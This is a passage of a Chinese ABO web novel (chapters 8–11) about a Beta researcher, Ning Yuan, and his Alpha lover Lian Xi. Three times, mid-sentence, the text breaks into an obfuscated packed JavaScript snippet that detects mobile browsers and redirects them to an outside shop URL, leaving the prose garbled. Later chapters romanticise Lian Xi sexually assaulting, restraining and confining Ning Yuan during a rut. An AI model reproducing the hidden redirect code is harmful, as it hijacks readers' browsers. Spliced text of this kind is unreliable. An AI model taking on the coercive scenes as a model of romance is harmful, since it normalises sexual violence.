在实话实说和故作嫌弃之间犹豫片刻,宁沅选择了前者,“挺好的。” Alpha“嗯”了一声,表情平淡,尾音却微微上扬。 他这次吸取了上次的教训,没有再在中途叫醒宁沅,而是算了时间将费事的材料先准备好,这样等人醒了,就可以最短时间下锅。 上次费心准备了几个小时最后却只被喝了几口汤的失败经历,这次终于是讨了回来。 Alpha一雪前耻,扬眉吐气,消停没多会儿就又开始作妖,边给宁沅夹菜边暗示,“我这么辛苦,哥哥不奖励我一下吗?” 宁沅装没听懂,慢吞吞地“嗯”了一声,“我会好好给你准备生日礼物的。” “礼物不算。”连溪反驳,“那是哥哥之前就答应我的。” “那这顿饭也不算。”宁沅语气依然慢吞吞,“这是你该补偿我的。” 连溪:“……” 昨晚让人劳累那么久,最后还硬是拖着看了一场日出,连溪确实说不出“不该补偿”这四个字。 只好就此转了话题,“哥哥给我准备了什么礼物?” “冰……” 宁沅刚开了个口,连溪却又自己反悔,“算了,哥哥还是先不要告诉我了,保留惊喜。” 既然收礼物的人自己这么要求,宁沅自然是不再提,但连溪看他不说,却又抓心挠肝地开始好奇起来。 这股情绪一直延续到宁沅吃完饭,回到卧室,躺在床上昏昏欲睡。 连溪收拾完餐厅回来,在旁边看了他一会儿,终是忍不住把人抱过来,“哥哥给我个提示吧。” 宁沅打了个哈欠,“你不是要留惊喜吗?” 连溪哄他,“所以我说给个提示,不那么明显的。” 宁沅想了想,“吃的东西。” 吃的东西? 连溪噎了一下,那岂不是吃完就没了? Alpha满身郁闷几乎化为实质,宁沅自然也感觉到了,但这恰恰就是他想要的。 他不想送什么有纪念性的礼物,偏偏连溪又堵死了让他不能敷衍,思来想去,也就只有许南星建议的做个蛋糕最合适了。 亲手做的,总不能说他不用心吧。 吃过就算结束,不会有什么痕迹留下,这样等他以后和连溪分开,他也可以当做什么都没发生过。 宁沅闭着眼睛放轻呼吸,假装自己是睡着了。 这样连溪就算有什么话想说,对着已经睡着的人也没办法把他再摇起来。 8. 第 8 章 连溪天还没全亮就走了,虽然他嘴上一句话带过说都是小事,但夜里宁沅却听到他至少两次起身出去接电话,想来也并非那般轻松。 不过都跟宁沅没什么关系,只要半个月中间断开了就好。 休息过一个白天,宁沅傍晚去超市买了些水果,回来搜了网上的教程,开始练习水果切盘。 他不常做饭,但是早上偶尔会自己做三明治,切点水果还是不在话下,练了几天就已经有模有样,粗看起来已经和蛋糕店橱窗里的没什么区别。 几天时间很快过去,转眼就到了二十三号。 连溪的生日是二十四号,但通常来说,过生日都是要从前一天晚上开始。 这天是周五,宁沅下班时没再刻意拖延时间,收拾了东西准时离开。 他准备做冰淇淋蛋糕,蛋糕胚已经提前预备好,冻在了冰箱里。 年底气温直逼零下,想来连溪就算有心捧场,应该吃不下几口。 但以防连溪挑刺,宁沅还是选择了当天下班再来超市,以方便买到最新鲜的水果。 否则若是运气不好,让连溪恰好吃到一口不那么新鲜的,他这个“用心”的立场就站不住脚了。 算着时间,宁沅花了一个小时准备好蛋糕,坐在客厅的沙发上等连溪过来。 宁沅没有提前给连溪打过电话问时间,只是觉得既然连溪提前跟他要求了,想必就是预备好了会过来的。 所以当时针转过十二点,连溪却依然没有出现的时候,宁沅第一反应是低头打开手机看了眼日历,确认今天的确是二十四号。 连溪他……不来了吗? 宁沅摁黑屏幕再摁亮,再次确认了一遍时间。 十二月二十四号,零点零一分。 又等了一会儿,连溪依然没有出现。 来电显示和信箱都是空的,最近的聊天记录停在前天,宁沅试了下网络,信号满格,一切正常。 房间里只开了一盏玄关灯,光线昏暗的客厅里,宁沅僵坐了半晚的身体慢慢放松下来,向后靠在沙发上。 虽然不知道为什么连溪没有出现,但感觉对他来说,应该算是件好事。 宁沅闭着眼睛放空了会儿,决定回去睡觉。 草草洗了个澡,宁沅躺回到床上,闭着眼睛沉入梦乡。 熬了半夜,宁沅这一觉睡得很沉,直到第二天醒来,才发觉身边多了个人。 是连溪。 宁沅没想到连溪竟然还会过来,看着身前的人,一时忘了思考。 Alpha还在睡着,眉眼间隐隐透出疲惫,却仍紧紧地环抱着他。 宁沅无意吵醒他,却也不想继续被这么抱着当人形抱枕,推开人想要起身,却被收拢手臂抱紧。 连溪眼睛都没睁开,寻摸着位置在他脸上亲了一下,含糊着道:“再陪我躺一会儿。” 宁沅不想躺,“你自己睡。” Alpha闭着眼睛装没听见,宁沅也不惯着他,继续挣扎,闹得连溪只能无奈睁开眼,“你真不睡了?” 宁沅不答反问,“你怎么来了?” 他这话问得没头没尾,连溪却像是听懂了他的意思,低笑着蹭他的鼻尖,“我不是提前告诉过哥哥吗?” “今天是我的生日,我当然是要来找哥哥取我的礼物了。” 宁沅直视着他的眼睛,“已经过了零点了。” “过了零点又怎么样?” 连溪抬手摸了摸他的脸,意有所指,“只要还在二十四号,都是我的生日。” 宁沅垂眼,“但是蛋糕已经化了。” “那就再做一个。” 来回说了这么多句话,连溪瞌睡散了大半,干脆起身将宁沅抱了起来,大步走进浴室,“既然哥哥不想睡,我们就先来做些别的事情吧。” 浴室里疾风骤雨来了一回,宁沅又被抱回到床上继续。 外面还是白天,尽管窗帘紧紧闭合着,却还是有遮不住的天光从底边的缝隙里照进来。 宁沅后知后觉地感觉到了赧然,自欺欺人地闭上眼睛,鸵鸟般埋首在Alpha颈间。 连溪低声笑起来,“哥哥害羞了吗?” 宁沅不理他,环着他的肩膀不让他看自己的脸。 “没关系的,哥哥。” 连溪顺势舔他的耳朵,在他耳边轻声诱哄,“这里只有我,你的样子,只有我看得到。” 宁沅眼睫颤了颤,张口再一次咬在连溪肩头。 “我就当这是嘉奖了。” Alpha在宁沅耳旁轻吻,抱着他站起身。 像是存心要榨干宁沅的力气,连溪半点喘息之机也没留给他,宁沅很快就精疲力尽了,只能全然依偎在他怀里。 连溪目的达成,把他抱回到床上,在他唇间轻轻吮吻,“陪我再躺一会儿?” 宁沅已经说不出话,合上眼睛默许。 两人相拥着睡到傍晚,连溪先醒过来,很快宁沅也醒了。 看到宁沅睁开眼睛,连溪凑过来亲他一下,“早安,哥哥。” 宁沅有气无力,“早吗?” “那就晚安。” 连溪改口得很快,桃花眼微微弯起,“哥哥要起吗?” 宁沅坐起身,直接用行动代替了回答,他怕再这么和连溪躺下去,这一天就直接这么过去了。 虽然是周末,却也不该这么荒唐。 简单洗漱过后,宁沅直接去了餐厅。 他凌晨直接回卧室去睡觉,忘了把蛋糕收进冰箱,一个白天过去,也不知是怎么样了。 然而到了餐厅,宁沅却并没有看到那只蛋糕的身影。 是他记错了吗? 宁沅正要寻找,晚他半步的连溪跟了过来,“我放冰箱里了。” 连溪之前从宁沅这里要过提示,进门后看到蛋糕就反应过来这是宁沅给他准备的生日礼物,自然没让它继续放在外面。 说着打开冰箱把蛋糕从中取了出来。 外面的半透明包装盒还在,里面的蛋糕虽然有些垮型,但看起来似乎并没有什么不妥之处。 宁沅观察了下,觉得还能用,插上蜡烛推到连溪面前,“来,许愿吧。” 我都二十三了。 连溪话到嘴边,忽然觉得在宁沅面前强调年龄似乎不是个什么好话题,于是又吞了回去,装模作样地许了个愿。 吹灭蜡烛,两人各吃一口蛋糕,勉强算是走完了流程。 周末加平安夜,外面很热闹,时不时有烟花在夜幕炸开,传来模糊的声响。 “要出门吗?”连溪出声询问。 宁沅摇头,没兴趣在这种人挤人的节日上街充人头。 不想继续回卧室躺着,宁沅找到遥控器,把客厅里和浴缸一样也一直闲置着的电视打开了,“找个电影看吧。” 连溪没什么所谓地答应了,只是在宁沅想要坐到旁边的时候伸手强行把人捞进了怀里。 两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004727|194023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人在一起这么久,宁沅也算是知道一些连溪的喜好,比如比起从正面抱更喜欢从背后抱着他。 而宁沅被抱过这么多次也差不多养成了习惯,身体自动找了个舒服的姿势靠着。 似乎还是第一次,两人晚上待在一起不是在做那种事,宁沅向后靠在Alpha怀里,竟然有些不太适应这样的安静。 似乎感觉到他在发呆,连溪拨弄了一下他的耳垂,在身后出声,“怎么了?” “……没什么。” 宁沅摇了摇头,将注意力投回到眼前的影片上。 片子有些老,宁沅起初还能看进去,但剧情过半后就开始昏昏欲睡,不知不觉间闭上眼睛。 半梦半醒间,宁沅隐约感觉到连溪似乎一直在看他,只是连溪似乎没有要做什么的意思,宁沅也就任他看着。 几近睡着时,宁沅忽然感觉到连溪低头亲了他一下。 * 生日当天过来得那么晚,宁沅隐约窥见到连溪应该是很忙。 本以为过完生日后Alpha就会很快离开,然而连溪却留了下来,依然与他窝在家里。 两人一起睡到中午,吃过午饭,又靠在一起看了一下午的电影。 到了晚上,主卧卫浴里的浴缸又被打开了。 连溪让宁沅环着自己的肩膀,将他面对面地抱在怀里,时不时地低头亲他一下。 宁沅在间隙里出声提醒,“明天是周一。” “我知道。”连溪吻他的眼睛,“不会很晚的。” 毕竟他自己也要上班,连溪遵守了承诺,不到一个小时就把宁沅抱了出来。 宁沅这两天下来已经被他抱习惯了,被放回到床上后就习惯性地缩进他怀里。 像昨晚在沙发上那般,连溪自身后看着他,宁沅也任他看着。 快要睡着时,连溪忽然低头在他耳边亲了一下,“哥哥,我们同居吧。” 宁沅没想到连溪会突然说这个,一时怔住,以至于错过了最佳的装睡时机。 “你搬到我那里住好不好,” Alpha的吻轻轻落在他耳边,语气温柔,呢喃犹如情人间的低语,“我想每天都能看到你。” 宁沅许久没有回答,连溪终于察觉到不对,将他转过来正对自己,“你不愿意?” “没有必要。” 宁沅终于开口,却是如此说道。 方才还温馨的气氛瞬间冷了下去,两人甚至还维持着相拥抱在一起的姿势。 连溪嗓音微沉,“什么叫没有必要?” “字面意思。” 宁沅声音很轻,在静谧的环境中却无比清晰,“我们只是情人而已,情人为什么要住在一起。” 连溪声音里隐隐透出愤怒,“你想做情人?” 宁沅垂着的眼睫颤了颤,“连溪,这是我们一开始就说好的。” 话音未落,宁沅已然感觉到连溪握在他肩膀上的双手突然用力,呼吸也变得粗重。他看不到连溪的表情,只能隐约从这些侧面反应中觉察出他此时似乎并不平静。 Alpha手劲很大,捏得宁沅肩膀生疼,他却只是一声不吭地忍着,直到受不住了,才本能地开始挣动。 连溪猛然松开了他,一言不发地翻身下床。 窸窸窣窣的穿衣动静,接着是逐渐远去的脚步声,很快,大门被从内拉开,紧接着从外关闭。 宁沅拉过被子盖过头,蜷缩起身体,于黑暗中闭上眼睛。 9. 第 9 章 连溪似乎在和他冷战。 宁沅后知后觉意识到这一点时,已经是连溪夜半从他家离开的半个月之后。 以往连溪虽然也有过近半个月不出现,手机上却还时不时会找宁沅刷个存在感,这次却是什么也没有。 两人的聊天记录停在了连溪生日的前两天,没有再更新过。 宁沅的生活和以往没什么不一样,照常上下班,只偶尔会思考一下如果连溪再出现时该怎么应对。 但多数时候,宁沅还是更愿意思考一些工作问题,又或者只是单纯地放空大脑。 转眼又是周末,正好也是月中,距离上次元旦回去已经有半个月,宁沅便提前给宁雅发了消息,说周日晚上回去吃饭。 休息过一个周六,宁沅周日驱车前往宁雅家。 小Alpha对宁沅的到来很是惊喜,全程围在他旁边转,送别时还依依不舍,几次举起手想要往他身上抱,最后却又都挪开。 上次元旦来的时候也是这样,小Alpha看到他下车时就想冲过来抱他,到近前却是一个急刹车停在原地,最后只嘟着嘴巴问了个好。 想到下次过来应该是半个月后,宁沅弯腰主动抱了他一下。 “表蝈蝈!” 小Alpha兴奋得脸都红了,但很快又转为纠结,一张包子脸皱了起来。 宁沅看得好笑,伸手在他鼓起的脸颊上戳了一下,“最近怎么都不要抱了?” “大哥惩罚我说不让抱。” 小Alpha垮着脸掰手指,一脸怨念,“我输了六次,大哥让我六个月不许抱表蝈蝈!” 宁沅没想到连溪给连夏的惩罚会是这个,顿了顿后道:“没关系,他惩罚说不让你抱我,但我可以抱你。” 小Alpha眼睛瞬间亮起来,但很快又转成苦恼,犹犹豫豫,“这样算不算作弊啊?” 因为给宁沅收拾东西想让他带回去,所以略晚了一些下楼的宁雅隐约听到,“什么作弊?” “上次玩的抽积木的游戏呀。” 宁沅还没想好怎么解释,那边连夏已经回答起来,“输的人要听赢的人的话,我输了六次,大哥让我六个月不许抱表蝈蝈。” “嗯,就是个游戏而已。” 宁沅避重就轻地解释,试图将之以游戏的方式一笔带过,连夏却哼哼起来,“大哥是个小气鬼。” 宁雅被他的表情逗笑,“你大哥怎么小气了?” “他不许我抱表蝈蝈,表蝈蝈要抱我,他还要把我抱走!” 小Alpha掰着手指算罪状,什么宁沅要抱他被连溪抢先啦,什么宁沅对他笑连溪挡着他不给看啦,还有什么宁沅送他的礼物转头就被连溪赢走啊…… 宁沅自己都不知道连溪私下里干过这么多事,他有心想要打断,但宁雅还在旁边看着,那么做有些太过明显。 “只是闹着玩的。” 宁沅无比庆幸这个话题是在他即将告别时才引爆出来,否则的话,还真不知道该怎么遮掩过去。 装作没看出宁雅眼底的探寻,宁沅把怀里的小Alpha放回到地上,直起身告辞,“姑姑,时间不早了,明天还要上班,没什么事我就先回去了。” “也好,路上小心。” 宁雅迟疑了下,最终还是什么都没说,惯例地嘱咐了两句,“天黑了,开车注意安全。” “我知道,您回去吧。” 宁沅没让她再送,坐进车里后朝人挥了挥手示意,驱车调头回家。 隔天周一,宁沅照常上班,到餐厅时意外看到了许南星。 Omega虽然已经通过打劫大哥暂时解除了财务危机,却并没有放弃自己的省钱计划,最近每天都雷打不动来餐厅蹭饭。 两人这段时间几乎每天都会遇见,但通常是宁沅来得更早,许南星则会比他稍微晚几分钟。 两人目光对上,许南星朝他抬了抬手,有气无力地打了个招呼。“学长。” 宁沅端着餐盘到他对面坐下,注意到他脸色似乎不太好,眼底下更是挂了两团青黑,“生病了?” “没,跟我哥吵架了。” 许南星拿着筷子戳餐盘里的包子泄愤,“明明之前在我家的时候都是听我的,换了个环境就开始站到我爸妈那边了。” 大概也是需要倾诉,许南星竹筒倒豆子般吧啦吧啦说了一通。 宁沅听完,才知道原来许南星家里一直有意向让他早些结婚,虽然并没有严逼着限定时间,但却从大学就开始安排他和Alpha相看。 而许南星却不想那么早结婚,更别提是以相亲这种形式,一直拒不配合,这次就是趁着实习的机会从家里搬了出来。 “我爸妈就算了,老思想老观念,传统人,我不跟他们计较。” 许南星越说越生气,“但我哥也就比我大两三岁,我一直以为至少他是站在我这边的,结果我上个周末去找他蹭饭,他竟然也劝我去见人,说吃顿饭当交个朋友???” “气得我跟他大吵一架,饭都没吃就走了,结果半夜居然给饿醒了。” Omega说着夹起一只小笼包,嗷呜塞进嘴里。 难怪今天早上来这么早。 宁沅:“……那你钱还够吗?” “够的,他给我转账了。” 许南星顿了顿,语气有些勉强,“好吧,这点还是要表扬。” 像是想到什么,许南星忽然问,“学长,你有兄弟姐妹吗?” “有……”宁沅顿了顿,“有两个弟弟。” 许南星面露好奇,“都是亲的?” 宁沅摇了摇头,“有一个不是。” “哦哦。” 许南星以为是表弟或是堂弟之类,又问,“那你们兄弟关系好吗?” 宁沅下意识想到了连溪,很快反应过来这个不能算是兄弟,于是又转想到了连夏,点了点头,“挺好的。” “是两个都挺好,还是一个好一个不好。” 许南星不知是在对比什么,问得很细,“会分轻重吗?” 那肯定是会分的,对宁沅来说,连溪跟连夏……当然不能一样。 “我就知道。” 从宁沅这得到肯定的答案,许南星气哼哼地吸了一口豆浆,“其实我一直觉得我哥回去后就跟我不太亲了,碰他一下跟带病毒似的,躲我老远,肯定是因为他叔伯那边兄弟太多了。” 许南星语气微酸,“果然弟弟多了就不稀罕了啊。” 大概是有连溪这个前车之鉴,宁沅稍微多想了点,“你哥是什么性别?” 许南星道:“Alpha。” “那你哥……”宁沅斟酌着言辞,“有对象吗?” “不知道诶,没听他提过。靠,他该不会是有对象了才这么对我的吧,重色轻友……不对,轻弟!” 许南星语气愤愤,气了一会儿忽然又自己想开了,“算了,只要他还愿意给我花钱,我就还认他当我哥。” 宁沅:“……” 吃完饭,宁沅跟许南星道别,转身时下意识想象了一下,如果连溪也是这样只要给钱别的都不在意的弟弟…… 算了,感觉也没比现在的好到哪里去。 不过以他和连溪目前的情况,也许已经是没有以后了也说不定。 又是半个月过去,连溪依然没再出现,宁沅却意外从网络上获取了他的消息。 连氏的年会上,连溪被连老爷子正式确立为继承人,通告给了整个企业。 宁沅从来没在社交软件上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004728|194023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搜索过对方,但大数据就是这么无孔不入。 自从宁沅点进第一条推送获知连溪被确立为继承人的消息之后,后面关于对方的推送就像雪花般纷纷而来。 一会儿是豪门争斗,分析连氏其他股东似有异心,一会儿是桃色新闻,渲染连溪与某豪门Omega共同出席某项活动。 宁沅连着点了几天的不感兴趣,大数据才终于是偃旗息鼓。 虽然并未有直接说明,但整整一个月没有见面,再加上手机里的那些新闻,宁沅默认他和连溪是已经结束了。 想到以后都不用再应付对方,宁沅倍感轻松地过了一个周末。 周一早上,宁沅在餐厅见到许南星,打招呼时语气微微上扬,“早。” 他自己没有察觉,许南星却敏锐地注意到了,“学长,你心情很好?” 宁沅确实心情不错,但他素来矜持,所以只是点了点头,“还可以。” “那肯定是很好了。” 认识这么久,许南星也知道宁沅的性格,“是有好事发生吗?” 宁沅“嗯”了一声,“算是吧。” “恭喜恭喜。” 许南星道完恭喜,看着他犹豫了下,“对了学长,你明天晚上有空吗?” 明天是周二,除了周末偶尔会到宁雅家吃饭,宁沅一直是研究所和家里两点一线,很少会去别的地方。 “有空。”宁沅看出他是有事想说,“需要帮忙?” “是有件事情,不过可能有点麻烦。” 许南星不太好意思,“就是我家里,安排我去跟一个Alpha吃饭,这次对面家里的情况比较特殊,我不好不去。本来我是想找我哥帮忙的,但我哥说会被我爸妈知道,而且对面也认识他。” “所以我想请你陪我过去,也不用假装对象什么的,就正常说是朋友。” 许南星道:“然后我们穿个颜色近一点的衣服,看情况稍微表现得亲密一点就行。” 宁沅听懂他的打算了,这是一种委婉的表达。 如果对面的Alpha足够绅士,就能看明白许南星的意思,如果对面的Alpha不够绅士,那许南星也有足够的底气跟他爸妈说不。 “可以。” 宁沅思索片刻,点头答应。 虽然不太习惯掺和进这种感情相关的事情,但许南星上次在连溪的生日礼物上帮忙出了主意,宁沅还一直没找到合适的机会报答,这次也就顺便了吧。 “那我们明天穿浅色的衣服?” 许南星跟他确认了一遍,敲定好细节站起身,“谢谢学长了,等事情结束后我请你吃饭。” 宁沅想说不用,那边许南星已经兴高采烈地走了,他也只好作罢。 次日早上,宁沅在衣柜里稍微挑了挑,搭配出一套浅色系的衣服,临出门时,又搭了只同色系的腕表,显得比平日里稍正式些。 虽然只是作陪,但毕竟是不认识的人,宁沅还是多注意了些。 正常到下班时间,宁沅在停车场里等许南星,后者很快过来,上车后看着手机报出餐厅的名字。 宁沅输入导航,驱车前往。 距离有些远,路上有些微堵车,但好在出发得够早,没有迟到。 餐厅是新中式装潢,隐蔽性很好,许南星报出包间号,由服务生带着他们前往。 按照礼节,Alpha要比Omega早到十分钟,两人还在走廊,就从服务生的口中知道那位Alpha已经到了。 作为陪客,宁沅略落后了半步走在最后,所以当他看清房间里连溪熟悉的身影时,已经来不及退出去。 Alpha已经看到了他,俊美面容上原本客气疏离的笑容瞬间沉了下去,目光近乎阴鸷地盯住了他。 10. 第 10 章 时隔一个月,宁沅没想到再见到连溪会是这般场景,下意识停在门边。 但很快,宁沅就想到两人如今已经算作结束,细微加快的心跳也就慢慢平复下来,步伐重新迈动。 许南星背对着宁沅,没能看到他的表情,但房间里的Alpha反应那么明显,他真的想忽略都难。 所以当服务员上来问需不需要立即点餐之时,许南星只随便点了壶茶,就让对方先出去了。 服务员离开,顺手带上屋门,包间瞬间安静下来。 许南星看看左边垂眼喝水的Beta,再看看右边自Beta进来后就再没把目光从人身上移开的Alpha。 Omega轻咳一声打破沉静,“二位,认识?” 连溪笑了一下,唇角勾出的弧度堪称温柔,眼角眉梢却俱是冷意。 他视线仍停在宁沅身上,刚要开口,却被宁沅抢先。 “朋友,很久没见了。” 知道连溪嘴上没有把门,担心他说出什么乱七八糟的,宁沅抢先代答,一句话带过所有关系。 忽略对面投过来的视线,宁沅拿过电子菜单给许南星,示意他点菜。 许南星很有眼色地把话吞回去,低头点菜。 选了两道自己喜欢吃的菜,许南星把菜单递给连溪,连溪随便勾了两道还给他,许南星又递给宁沅。 已经有四个菜了,再多浪费,宁沅就只添了一道素菜和甜汤。 服务员敲门上茶,许南星借机跟连溪起了话头。 他看出连溪跟宁沅关系特殊,没有再走之前的那套迂回路线,简单铺垫了两句便直接挑明自己并没有结婚的打算。 连溪神色淡淡,“路先生同我说过。” 路先生? 许南星顿了一下才反应过来,这是说的他那位被认回原家后已经改姓的大哥,乍一听见,他还真没反应过来。 他有心想问连溪知道怎么还来,那边却似乎已经看出了他的想法。 连溪道:“我们有些合作。” 具体是什么合作连溪没说,但透露出的意思许南星已经很明白了,对方对他没有想法。 许南星彻底放心了,看看两边至今没有直接交流的两位“朋友”,觉得有必要帮宁沅解释一下。 “学长是送我来的,我们研究所离这边有点远。” 没提自己先前的打算,许南星把宁沅陪自己来这件事解释成了顺路送自己过来,然后自己为了道谢,把人强拉上来蹭饭。 虽然有些牵强,但以他之前挑明的无意结婚的想法,故意拉个人来意图破坏相亲饭局,勉强也能圆上。 连溪知道许南星这是想要向自己传达宁沅事先并不知情的意思,但他跟宁沅在一起这么久,已经很清楚宁沅私下里的一些习惯。 宁沅在研究所工作,进实验室需要换防护服,私服以简单舒适为主,从来不会佩戴配饰。 如果说衣服还能称作是巧合,那么他手上的那只腕表,就是平日里绝不会出现在宁沅身上的东西。 宁沅明明就是知道的。 连溪呼吸像是被堵住了,只剩下刻薄,“绕这么远,感情不错。” 知道绕路,所以是知道学长家在哪? 许南星心里哇塞一声,感觉好像知道了什么不该知道的,更谨慎了。 正想着怎么回答,旁边宁沅给他倒了杯水,“来买东西,确实顺路。” 宁沅知道许南星是想帮他解释,但他自认跟连溪的关系已经结束,并没有这个解释的必要。 虽然连溪的态度有些奇怪,但连溪既然已经开始相亲,那么订婚乃至结婚就是迟早的事情,也已经符合了他们之前关于订婚后就结束关系的约定。 正巧服务员敲门来上菜,宁沅便适时中断了二人的谈话。 许南星低头安静吃菜,喝了口汤,他忽然抬头,目光在桌面上搜寻。 宁沅转头看见,拿了旁边的纸巾盒递给他。 他这完全是在早餐时吃出来的习惯,落在对面的Alpha眼里却无比刺眼。 连溪再坐不下去,拿起手机起身,“临时有些事情,先失陪了。” “……学长。” 许南星开门探头瞧了瞧,确认人的确已经走了,又关上门坐回到宁沅身边,语带好奇,“你们到底什么关系啊?” “就是朋友,很久没见了。” 宁沅不欲多提和连溪之间错综复杂的关系,仍然用之前的回答。 “好吧。” 看宁沅不想说,许南星没再追问,“那我们这饭还吃吗?” 宁沅看着满桌基本没怎么动过的饭菜,“为什么不吃?” 许南星心想也是,于是低头继续干饭。 宁沅晚上一向吃得不多,连溪更是基本没动筷子就走了,最后一桌饭菜基本都是被许南星解决。 Omega吃得肚皮滚圆,拍着肚子心满意足,“这家味道不错,以后还来。” 开车将许南星送回小区,宁沅调头回家。 虽然见到连溪这件事属于计划之外,但一个月下来,宁沅已经很习惯不再多想对方,很快就将人抛之脑后。 奔波了一天,他到家后洗了个澡就早早睡了。 但或许是因为白日里久违地见到了连溪,对方竟然在他的梦里也出现了。 梦里的Alpha和现实里的一样恶劣傲慢霸道不讲理,上来就质问他为什么要去和别的Omega约会。 被宁沅指明说两人已经结束后,又恶声恶气地说自己并没有同意结束,接着就不顾他的反抗来吻他。 宁沅被他吻得几近窒息,本能地开始挣扎,很快就把自己挣扎醒了。 然后醒了的宁沅就发现那并不是梦,连溪真的在他的床上。 因为梦境和现实的场景太过相似,宁沅刚醒过来时,并没能完全分清现实,只茫然地看着身上的人。 直到身下的感受越来越明显,宁沅才后知后觉地意识到发生了什么,开口想要质问,嘴里出来的却是控制不住的低喘。 “哥哥醒了啊。” 见宁沅醒来,连溪脸上不仅没有半点被发现的慌乱,相反还朝他笑了起来。 “……你疯了吗?” 宁沅不可思议地睁大眼睛,开始挣动,但Alpha抓着他的手腕将他抱坐起来,再把他两只手都反制到身后,就轻松压制住了他的所有反抗。 两人挨得近了,宁沅被动地闻到了Alpha身上的信息素气息,龙舌兰的味道前所未有得浓烈,冲撞得他几乎不能呼吸。 能让他一个对信息素不敏感的Beta都难受成这样,可想而知连溪如今的信息素已经到了什么程度。 易感期…… 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004729|194023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >宁沅脑中猛地冒出这三个字,他一直以为连溪的易感期已经过去了,毕竟连溪上次的易感期在七月初,而如今已经是二月。 Alpha的易感期周期大都是为三到六个月,就算连溪这次的周期是最长的六个月,应该也在一月就过完了。 除非…… “你……”宁沅被撞得闷哼一声,“你一直用抑制剂?” 易感期到来后,Alpha通常要给自己注射抑制剂,再找一个私密的地方自我隔离,直到过剩的信息素代谢回正常水平,这次易感期才算完全结束。 但如果只是注射抑制剂,而没有隔离代谢信息素的话,这些信息素就会一直堆积在体内,直到再也压抑不住,最终失控。 连溪似乎没有听到他的话,倾身凑近了他,鼻尖挨着他的鼻尖轻声呢喃,“哥哥,我可是每天……”Alpha加重了语气,“每天都在想你呢。” 宁沅两只手都被扭在身后,被他架在身上,连转个身都困难,根本躲避不开,“你知不知道你在做什么?” “哥哥问我在做什么?” 连溪微微偏头,重复了一遍他的问话,钳着他的手腕忽然加重力道,“我在做什么,哥哥感受不到吗?” “我们……” 宁沅一句话被冲撞得支离破碎,又断断续续地拼凑完整,“我们已经结束了。” 连溪注视着他,漆深的黑眸里像燃了两团火,嗓音却好似淬了冰,“谁告诉哥哥说结束的?我没有同意。” 没等宁沅再开口,连溪钳着他的下巴吻下来,将他所有的话都堵了回去。 宁沅被连溪吻过很多次,或温柔或霸道,或安抚或调情,但无论是哪一次,都不同于现在的这一次。 连溪像是要将他嚼碎了生吞一般,吻得格外凶狠。 宁沅逐渐感到呼吸困难,泥人尚有三分火性,他出离地愤怒了,张口狠狠咬下,却没能把身前的Alpha逼退,反而换来了更猛烈的侵占。 血腥气在唇舌间蔓延,缺氧带来的窒息感在胸腔间堆聚,宁沅感觉自己似乎短暂地失去了意识,但很快就又被Alpha弄醒。 连溪没有再吻他,只是撑在他上方沉默地看着他。 “……连溪。” 宁沅慢慢地积攒了一些力气,勉强压下心底的愤怒。 虽然易感期的Alpha根本无法沟通,但眼下的情况,宁沅只能试着跟他讲道理,“你已经在相亲了,你答应过我说订婚后我们就结束。” “相亲而已,我还没有订婚。” 连溪轻轻抚摸着他的脸,语气竟然显出了几分病态,“哥哥不是说要做我的情人吗?情人的存在是为了解决需求,我现在有需求,哥哥帮我解决也是应该的吧?” 低头对上宁沅愤怒的眼神,连溪又笑了,“哥哥生气了?那哥哥改口好了,只要哥哥说不做情人,我就都听哥哥的。” 不做情人? 宁沅有一瞬间的茫然,不能理解连溪究竟是什么意思。 他已经被连老爷子指定为继承人了,那他就是一定要和Omega结婚的,而他却是个Beta,他们不做情人,还能做什么? 看着宁沅迟迟不肯开口,连溪目光彻底冷了下去,“既然哥哥一定要做情人,那么在我正式订婚,拥有新的固定伴侣之前,都请哥哥好好履行情人的职责吧。” 11. 第 11 章 正常情况下,Alpha的易感期会持续三天。 但因为连溪之前用了太多的抑制剂推迟时间,导致他的易感期也相应地延长了,直到第四天早上都还没有完全结束。 宁沅在周三早上被迫用手机在系统里请了三天的假,他原本只想填一天,却在提交之前被Alpha强行改成了三天。 提交成功之后,连溪就把他的手机关机,一次都没许他再碰。 整整三天,宁沅一步也没能离开卧室,甚至连地面都没能踩上,吃饭喝水都是由连溪拿进卧室里来抱着喂他。 后颈传来一阵刺痛,宁沅知道这是连溪又在尝试“标记”他了。 易感期的Alpha理智下线,极端情绪化,你跟他说Beta不能被标记,他只会觉得是自己给的信息素不够,然后一次又一次地反复尝试。 几天下来,宁沅已经记不清连溪究竟这样“标记”过他多少次。 第一次被咬破后颈时,宁沅还会生气,会骂连溪说让他睁大狗眼看清楚自己不是Omega,后面真的就是无话可说。 